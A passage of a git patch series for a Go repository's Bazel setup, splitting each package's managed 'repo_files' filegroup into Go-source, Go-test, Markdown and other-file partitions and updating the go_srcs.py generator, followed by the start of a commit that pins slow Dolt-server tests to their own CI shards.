"repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index e35ecd946..6b17dde5c 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -13,6 +13,16 @@ _DOLT_PLATFORMS_ONLY = select({ "//conditions:default": ["@platforms//:incompatible"], }) +# Read by //scripts:go_test_sources_test: the shard-coverage check's list of +# names that are not tests, and the Bazel-skip allowlist. +exports_files( + [ + "check_shard_coverage.py", + "equivalence_allowlist.txt", + ], + visibility = ["//scripts:__pkg__"], +) + # sh_test src for a second test target over an existing go_test binary (see # the script header), e.g. //cmd/bd/doctor/fix:fix_dolt_test. exports_files( @@ -305,12 +315,51 @@ release_cross_build( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -319,7 +368,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index e4ca6b6d3..4b685968a 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -21,16 +21,28 @@ Blocks in packages that are no longer listed are removed. Run from the repository root after gazelle (see `make bazel-sync`). Output is deterministic and gazelle-stable, so a clean sync leaves git clean. -Every package also gets a managed `repo_files` block: a filegroup of all of -the package's own files (`glob(["**"])` less local build and editor debris), -and the root package's aggregates every package's into `//:repo_files`. That -is the checkout as Bazel sees it, the `data` of the repository-policy tests -that walk the whole tree (every BUILD file, every test file, every tracked -Markdown file). A package without the block would drop out of their view and -pass them vacuously, which is why `make bazel-sync-check` (bazel.yml's BUILD -sync step, on every PR) fails on a missing or stale block. Trees in -.bazelignore (.beads, website, the nested example modules, agent worktrees, -node_modules) are outside Bazel and so outside //:repo_files. +Every package also gets a managed `repo_files` block: four filegroups that +partition the package's own files (`glob(["**"])` less local build and editor +debris) by what kind of input they are, + + repo_go_srcs non-test Go source (**/*.go less **/*_test.go) + repo_go_test_srcs Go test source (**/*_test.go) + repo_doc_files Markdown (**/*.md, **/*.mdx) + repo_other_files everything else: BUILD and .bzl files, scripts, + workflows, configuration, testdata + +and the root package's block aggregates every package's into the +`//:repo_` filegroups, whose union is `//:repo_files`. That is the +checkout as Bazel sees it. A repository-policy test declares the narrowest of +these (or one package's partition) that covers what it reads, so that an edit +outside it leaves the test cached: a docs-only change re-runs no Go-source +scan, a Go-only change no workflow policy test. Only the tests that really +read every tracked file declare `//:repo_files`. A package without the block +would drop out of their view and pass them vacuously, which is why `make +bazel-sync-check` (bazel.yml's BUILD sync step, on every PR) fails on a +missing or stale block. Trees in .bazelignore (.beads, website, the nested +example modules, agent worktrees, node_modules) are outside Bazel and so +outside //:repo_files. tools/bazel/BUILD.bazel also gets a managed `release_cross` block: the release_cross_build (tools/bazel/release_cross.bzl) that @@ -155,13 +167,27 @@ ROOT_REPO_FILES_EXCLUDE = ( "user.bazelrc", ) -# Who may read //:repo_files: the repository-policy tests. +# Who may read //:repo_files, every tracked file: the tests that scan the +# whole checkout. Everything else declares a partition below. REPO_FILES_VISIBILITY = ( "//scripts:__pkg__", "//scripts/repochecks:__pkg__", - "//test/docsync:__pkg__", ) +# The partitions of every package's files, as (name, include, exclude): each +# file is in exactly one. The debris patterns above match no Go or Markdown +# file, so only node_modules (and the root's own excludes) are dropped from +# the Go and doc partitions. +REPO_PARTITIONS = ( + ("repo_doc_files", ("**/*.md", "**/*.mdx"), ()), + ("repo_go_srcs", ("**/*.go",), ("**/*_test.go",)), + ("repo_go_test_srcs", ("**/*_test.go",), ()), + ("repo_other_files", ("**",), ("**/*.go", "**/*.md", "**/*.mdx")), +) +OTHER_PARTITION = "repo_other_files" +# Partitions are readable by any test in the repository; //:repo_files is not. +REPO_PARTITION_VISIBILITY = "//:__subpackages__" + def packages_under(root: str) -> list[str]: found = [] @@ -203,31 +229,56 @@ def block(pkg: str, tree_members: list[str] | None) -> str: return "\n".join(lines) + "\n" +def _str_list(items: list[str], indent: str) -> list[str]: + """A list literal as buildifier prints it: one element inline, more one + per line (the form gazelle leaves alone, so bazel-sync is a fixed point).""" + if len(items) == 1: + return [f'["{items[0]}"]'] + return ["["] + [f'{indent} "{i}",' for i in items] + [f"{indent}]"] + + +def _partition_glob(include: tuple[str, ...], exclude: list[str], allow_empty: bool) -> list[str]: + """`glob(...)` lines for a filegroup's srcs (8-space argument indent).""" + inc = _str_list(list(include), " ") + lines = [" srcs = glob(", " " + inc[0]] + inc[1:] + lines[-1] += "," + if allow_empty: + lines.append(" allow_empty = True,") + if exclude: + exc = _str_list(sorted(exclude), " ") + lines.append(" exclude = " + exc[0]) + lines += exc[1:] + lines[-1] += "," + return lines + + def repo_files_block(pkg: str, packages: list[str]) -> str: """The repo_files block of pkg ("." is the root, which aggregates).""" root = pkg == "." - exclude = REPO_FILES_EXCLUDE + (ROOT_REPO_FILES_EXCLUDE if root else ()) - lines = [ - REPO_BEGIN, - "", - "filegroup(", - ' name = "repo_files",', - " srcs = glob(", - ' ["**"],', - " exclude = [", - ] - lines += [f' "{e}",' for e in sorted(exclude)] - # No allow_empty: every package holds at least its BUILD.bazel. - lines += [" ],"] + lines = [REPO_BEGIN] + debris = list(REPO_FILES_EXCLUDE) + (list(ROOT_REPO_FILES_EXCLUDE) if root else []) + targets = [] + for name, include, own_exclude in REPO_PARTITIONS: + if name == OTHER_PARTITION: + exclude = debris + list(own_exclude) + else: + exclude = ["**/node_modules/**"] + (list(ROOT_REPO_FILES_EXCLUDE) if root else []) + list(own_exclude) + # repo_other_files always holds the package's BUILD.bazel. + body = _partition_glob(include, exclude, allow_empty=name != OTHER_PARTITION) + if root: + body.append(" ) + [") + body += [f' "//{p}:{name}",' for p in packages if p != "."] + body.append(" ],") + else: + body.append(" ),") + targets.append((name, body + [f' visibility = ["{REPO_PARTITION_VISIBILITY}"],'])) if root: - lines += [" ) + ["] - lines += [f' "//{p}:repo_files",' for p in packages if p != "."] - lines += [" ],", " visibility = ["] - lines += [f' "{v}",' for v in REPO_FILES_VISIBILITY] - lines += [" ],"] - else: - lines += [" ),", ' visibility = ["//:__pkg__"],'] - lines += [")", "", REPO_END] + union = [" srcs = ["] + [f' ":{n}",' for n, _, _ in REPO_PARTITIONS] + [" ],"] + union += [" visibility = ["] + [f' "{v}",' for v in REPO_FILES_VISIBILITY] + [" ],"] + targets.append(("repo_files", union)) + for name, body in sorted(targets): + lines += ["", "filegroup(", f' name = "{name}",'] + body + [")"] + lines += ["", REPO_END] return "\n".join(lines) + "\n" diff --git a/tools/docsmint/BUILD.bazel b/tools/docsmint/BUILD.bazel index da07e7a9b..5b10ddb51 100644 --- a/tools/docsmint/BUILD.bazel +++ b/tools/docsmint/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/BUILD.bazel b/tools/nogo/BUILD.bazel index 1e44a0bca..f1e2331d6 100644 --- a/tools/nogo/BUILD.bazel +++ b/tools/nogo/BUILD.bazel @@ -43,15 +43,60 @@ go_test( ], ) +# The nested module's go.mod, for //:nested_go_modules. +exports_files( + ["go.mod"], + visibility = ["//:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -60,7 +105,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/depguard/BUILD.bazel b/tools/nogo/analyzers/depguard/BUILD.bazel index 8dda85443..6b3bb4f56 100644 --- a/tools/nogo/analyzers/depguard/BUILD.bazel +++ b/tools/nogo/analyzers/depguard/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/errcheck/BUILD.bazel b/tools/nogo/analyzers/errcheck/BUILD.bazel index 2d1eaa1b2..28d7c90d7 100644 --- a/tools/nogo/analyzers/errcheck/BUILD.bazel +++ b/tools/nogo/analyzers/errcheck/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/forbidigo/BUILD.bazel b/tools/nogo/analyzers/forbidigo/BUILD.bazel index ae87048b5..a5769977d 100644 --- a/tools/nogo/analyzers/forbidigo/BUILD.bazel +++ b/tools/nogo/analyzers/forbidigo/BUILD.bazel @@ -25,12 +25,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/gosec/BUILD.bazel b/tools/nogo/analyzers/gosec/BUILD.bazel index 0f13fb1c9..68381b0cd 100644 --- a/tools/nogo/analyzers/gosec/BUILD.bazel +++ b/tools/nogo/analyzers/gosec/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/misspell/BUILD.bazel b/tools/nogo/analyzers/misspell/BUILD.bazel index 0b2053638..525f22c2c 100644 --- a/tools/nogo/analyzers/misspell/BUILD.bazel +++ b/tools/nogo/analyzers/misspell/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/sloglint/BUILD.bazel b/tools/nogo/analyzers/sloglint/BUILD.bazel index 9289cddb1..b90003388 100644 --- a/tools/nogo/analyzers/sloglint/BUILD.bazel +++ b/tools/nogo/analyzers/sloglint/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/unconvert/BUILD.bazel b/tools/nogo/analyzers/unconvert/BUILD.bazel index 2f988fd1a..7351d4a5e 100644 --- a/tools/nogo/analyzers/unconvert/BUILD.bazel +++ b/tools/nogo/analyzers/unconvert/BUILD.bazel @@ -25,12 +25,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/analyzers/unparam/BUILD.bazel b/tools/nogo/analyzers/unparam/BUILD.bazel index f4c612814..76d18f163 100644 --- a/tools/nogo/analyzers/unparam/BUILD.bazel +++ b/tools/nogo/analyzers/unparam/BUILD.bazel @@ -26,12 +26,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -40,7 +79,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/internal/analyzertest/BUILD.bazel b/tools/nogo/internal/analyzertest/BUILD.bazel index c7734cf4d..b2202ef6c 100644 --- a/tools/nogo/internal/analyzertest/BUILD.bazel +++ b/tools/nogo/internal/analyzertest/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/internal/golangci/BUILD.bazel b/tools/nogo/internal/golangci/BUILD.bazel index 835acc846..27fb884c5 100644 --- a/tools/nogo/internal/golangci/BUILD.bazel +++ b/tools/nogo/internal/golangci/BUILD.bazel @@ -37,12 +37,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tools/nogo/internal/position/BUILD.bazel b/tools/nogo/internal/position/BUILD.bazel index 200493e23..8cc8a2947 100644 --- a/tools/nogo/internal/position/BUILD.bazel +++ b/tools/nogo/internal/position/BUILD.bazel @@ -11,12 +11,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -25,7 +64,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- From 5a5b7cfd66b86c176ec311a330363a9fb0bcbabb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 05:50:09 +0000 Subject: [PATCH 182/325] ci(bazel): pin the slowest cmd/bd Dolt-server tests to their own shards (#7413) * ci(bazel): pin the slowest cmd/bd Dolt-server tests to their own shards The cmd-dolt lane's wall time when its tests re-run is the bd_test race compile plus its slowest shard. rules_go shards round-robin by test index, so whichever shard drew TestSharedServerConcurrent and the TestInit* family ran 117-170s while the median shard ran ~55s. tools/bazel/go_test_pinned_shard.sh runs a go_test binary with the tests a committed manifest pins (measured >= 5s, bin-packed longest-first by tools/bazel/pin_shards.py) in shards of their own, and every other test in the binary's own round-robin shards with the pinned set skipped, so each test still runs exactly once and new tests need no manifest edit. bd_dolt_server_test goes from 16 to 32 shards (16 pinned + 16 round-robin), regression_test from 8 to 16 (10 + 6; its go_test becomes the manual regression_suite binary behind an sh_test of the old name). Pinning exposed a pre-existing order dependence: TestCLI_Import failed whenever it was the binary's first test, because runBDInProcess reused the workspace discovery an earlier in-process execution cached and `bd init` in a fresh directory resolved the previous one's .beads. The in-process runners now reset beads/git discovery caches per execution. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): pin cmd/bd Dolt-server shards from two measured runs; regression in 14 shards The bd manifest now takes each test's slowest of the 16- and 32-shard runs (pin_shards.py over both), and regression_test drops to 10 pinned + 4 round-robin shards: its unpinned tests total ~128s, so 6 round-robin shards were mostly fixed cost. Co-Authored-By: Claude Opus 5.5 (1M context) * test(scripts): place the pinned-shard tests by what they read (#7414 split) The manifest-name scan reads every cmd/bd and tests/regression _test.go file, so it moves to go_test_sources_test (with tests/regression's manifest); the wrapper, generator and wiring checks stay in scripts_test. Shared helpers live in a helpers-only file both targets compile, and repoFiles takes #7414's minimum-file count. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 13 +- cmd/bd/BUILD.bazel | 24 ++- cmd/bd/cli_fast_test.go | 15 ++ cmd/bd/dolt_server_pinned_shards.txt | 103 ++++++++++ engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/TESTING.md | 11 +- scripts/BUILD.bazel | 5 + scripts/ci_workflow_test.go | 26 ++- scripts/pinned_shards_helpers_test.go | 65 ++++++ scripts/pinned_shards_sources_test.go | 48 +++++ scripts/pinned_shards_test.go | 268 +++++++++++++++++++++++++ scripts/pr_risk_bazel_coverage_test.go | 13 +- tests/regression/BUILD.bazel | 43 +++- tests/regression/pinned_shards.txt | 55 +++++ tools/bazel/BUILD.bazel | 8 + tools/bazel/go_test_pinned_shard.sh | 90 +++++++++ tools/bazel/pin_shards.py | 117 +++++++++++ 18 files changed, 867 insertions(+), 41 deletions(-) create mode 100644 cmd/bd/dolt_server_pinned_shards.txt create mode 100644 scripts/pinned_shards_helpers_test.go create mode 100644 scripts/pinned_shards_sources_test.go create mode 100644 scripts/pinned_shards_test.go create mode 100644 tests/regression/pinned_shards.txt create mode 100755 tools/bazel/go_test_pinned_shard.sh create mode 100755 tools/bazel/pin_shards.py diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 66322c9d5..5ca224450 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -2065,12 +2065,12 @@ jobs: run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" # The cmd/bd Dolt-server tier, as --config=doltserver-cmd: the whole - # integration-tagged cmd/bd suite (//cmd/bd:bd_dolt_server_test, 16 - # shards) against a hermetic dolt sql-server, i.e. the Dolt-gated cmd/bd + # integration-tagged cmd/bd suite (//cmd/bd:bd_dolt_server_test, 32 + # shards, the slowest tests pinned to 16 of them) against a hermetic dolt sql-server, i.e. the Dolt-gated cmd/bd # tests (TestCLI_*, TestInit*, the store-backed suites) that every other # lane and legacy job skips with BEADS_TEST_SKIP=dolt or leaves out of its # manifest; plus the differential regression suite - # (//tests/regression:regression_test, 8 shards: the candidate + # (//tests/regression:regression_test, 14 shards: the candidate # bd_for_tests against the catalog-pinned v0.49.6 release, formerly # regression.yml). --config=doltserver-cmd has exactly # --config=integration's build flags, so it shares bazel-integration's @@ -2120,9 +2120,10 @@ jobs: RBE_FORK_PR: ${{ github.event.pull_request.number }} # Remote: a compile shared with bazel-integration plus the longest - # of 16 shards (~3 minutes measured; each shard pays ~30-40 s of - # TestMain and its own dolt sql-server; Go's -test.timeout=19m, - # Bazel's 1200s cap). Mode cache on a 